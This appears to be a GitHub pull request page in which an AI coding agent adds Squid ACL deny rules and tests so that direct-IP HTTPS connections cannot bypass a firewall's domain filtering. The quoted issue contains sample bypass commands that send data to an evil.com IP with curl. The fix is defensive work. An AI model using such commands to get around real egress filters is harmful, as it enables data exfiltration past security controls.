Skip to content

Conversation

Copy link
Contributor

Copilot AI commented Dec 19, 2025

Clients connecting directly to IP addresses via HTTPS (e.g., CONNECT 140.82.114.4:443) bypass domain-based filtering since Squid cannot extract SNI information from raw IPs.

Changes

  • Squid ACL rules in src/squid-config.ts:

    • ip_dst_ipv4: Matches IPv4 addresses ^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$
    • ip_dst_ipv6: Matches IPv6 addresses ^\[?[0-9a-fA-F]*:[0-9a-fA-F:]*\]?$ (requires colon to distinguish from domain names)
    • Deny rules placed before domain filtering
  • Tests in src/squid-config.test.ts:

    • Verify both IP blocking ACLs are present
    • Verify deny rules precede domain filtering
    • Updated backward compatibility test to account for new ACLs

Generated config

# Security: Block direct IP address connections (bypass prevention)
acl ip_dst_ipv4 dstdom_regex ^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$
acl ip_dst_ipv6 dstdom_regex ^\[?[0-9a-fA-F]*:[0-9a-fA-F:]*\]?$

http_access deny ip_dst_ipv4
http_access deny ip_dst_ipv6

# Deny requests to unknown domains (existing rule)
http_access deny !allowed_domains
Original prompt

This section details on the original issue you should resolve

<issue_title>[Security] Direct IP + TLS connections may bypass domain filtering</issue_title>
<issue_description>## Priority
P1 - High

Summary

When a client connects directly to an IP address using HTTPS (without a domain name), Squid cannot extract SNI information. This may allow bypassing domain-based filtering.

Current Behavior

Normal HTTPS request:

CONNECT github.com:443 HTTP/1.1
→ Squid extracts "github.com" from CONNECT request
→ Domain ACL check performed

Direct IP HTTPS request:

CONNECT 140.82.114.4:443 HTTP/1.1
→ Squid sees only IP address
→ No domain to match against ACL

Attack Vector

# Attacker knows the IP of evil.com
EVIL_IP=$(dig +short evil.com)

# Direct IP connection - no domain in request
curl --resolve evil.com:443:$EVIL_IP https://evil.com/exfiltrate
# Or even simpler:
curl -k https://$EVIL_IP/exfiltrate

Current Mitigation

Host-level iptables has a default deny rule that should block traffic to unknown IPs:

  • Only traffic to Squid (172.30.0.10) and DNS servers is allowed
  • All other outbound traffic is blocked

Verification Needed

Test whether direct IP connections are blocked:

sudo awf --allow-domains example.com -- /bin/bash -c '
  echo "--- Test 1: Via domain name ---"
  curl -s -o /dev/null -w "%{http_code}\n" https://example.com
  
  echo "--- Test 2: Via direct IP ---"
  curl -s -o /dev/null -w "%{http_code}\n" --max-time 5 https://93.184.216.34 2>&1 || echo "Failed/Blocked"
  
  echo "--- Test 3: Check Squid log ---"
  sleep 2
  cat /tmp/awf-*/squid-logs/access.log | tail -5
'

Expected Behavior

Direct IP connections should be blocked by:

  1. Squid ACL: Explicit deny for non-domain CONNECT requests
  2. Host iptables: Default deny for non-whitelisted destinations

Proposed Fix

Option A: Explicit Squid ACL for IP-based CONNECT

Add to src/squid-config.ts:

# Deny CONNECT to IP addresses (no domain)
acl ip_connect dstdom_regex ^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$
http_access deny ip_connect

Option B: Verify host iptables blocks this

Ensure default deny rule catches this case:

# In src/host-iptables.ts
# Verify: -A FW_WRAPPER -j DROP (default deny)

Files to Modify

  • src/squid-config.ts - Add IP CONNECT deny rule
  • src/squid-config.test.ts - Test IP CONNECT is denied
  • Verification script for testing

Testing

  • Direct IP HTTPS is blocked
  • Domain-based HTTPS still works
  • Squid logs show IP CONNECT attempts as denied
  • Host iptables provides backup blocking</issue_description>

Comments on the Issue (you are @copilot in this section)


💡 You can make Copilot smarter by setting up custom instructions, customizing its development environment and configuring Model Context Protocol (MCP) servers. Learn more Copilot coding agent tips in the docs.

Copilot AI changed the title [WIP] Fix IP and TLS connection issue bypassing domain filtering fix(security): block direct IP address HTTPS connections to prevent domain filtering bypass Dec 19, 2025
Copilot AI requested a review from Mossaka December 19, 2025 09:43
@Mossaka Mossaka added the smoke label Dec 19, 2025
@github-actions
Copy link

📰 BREAKING: Smoke Copilot is now investigating this pull request. Sources say the story is developing...

@github-actions
Copy link

💥 WHOOSH! Smoke Claude springs into action on this pull request! [Panel 1 begins...]

@Mossaka Mossaka marked this pull request as ready for review December 19, 2025 17:52
@github-actions
Copy link

Smoke Test Results

Last 2 Merged PRs:

Test Results:

  • ✅ GitHub MCP Testing: Retrieved last 2 merged PRs
  • ✅ File Writing Testing: Created /tmp/gh-aw/agent/smoke-test-copilot-20378115222.txt
  • ✅ Bash Tool Testing: Verified file content

Overall Status: PASS

📰 BREAKING: Report filed by Smoke Copilot fer issue #142 🗺️

@github-actions
Copy link

Smoke Test Results

Last 2 merged PRs:

Test Results:

  • ✅ GitHub MCP (list PRs)
  • ✅ File Writing
  • ✅ Bash Tool
  • ❌ Playwright (tunnel connection failed)

Overall: FAIL

💥 [THE END] — Illustrated by Smoke Claude fer issue #142 🗺️

@github-actions
Copy link

Test Coverage Report

Metric Coverage Covered/Total
Lines 66.1% 708/1071
Statements 66.27% 729/1100
Functions 70.73% 87/123
Branches 60.89% 232/381
Coverage Thresholds

The project has the following coverage thresholds configured:

  • Lines: 38%
  • Statements: 38%
  • Functions: 35%
  • Branches: 30%

Coverage report generated by `npm run test:coverage`

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

None yet

Development

Successfully merging this pull request may close these issues.

[Security] Direct IP + TLS connections may bypass domain filtering

2 participants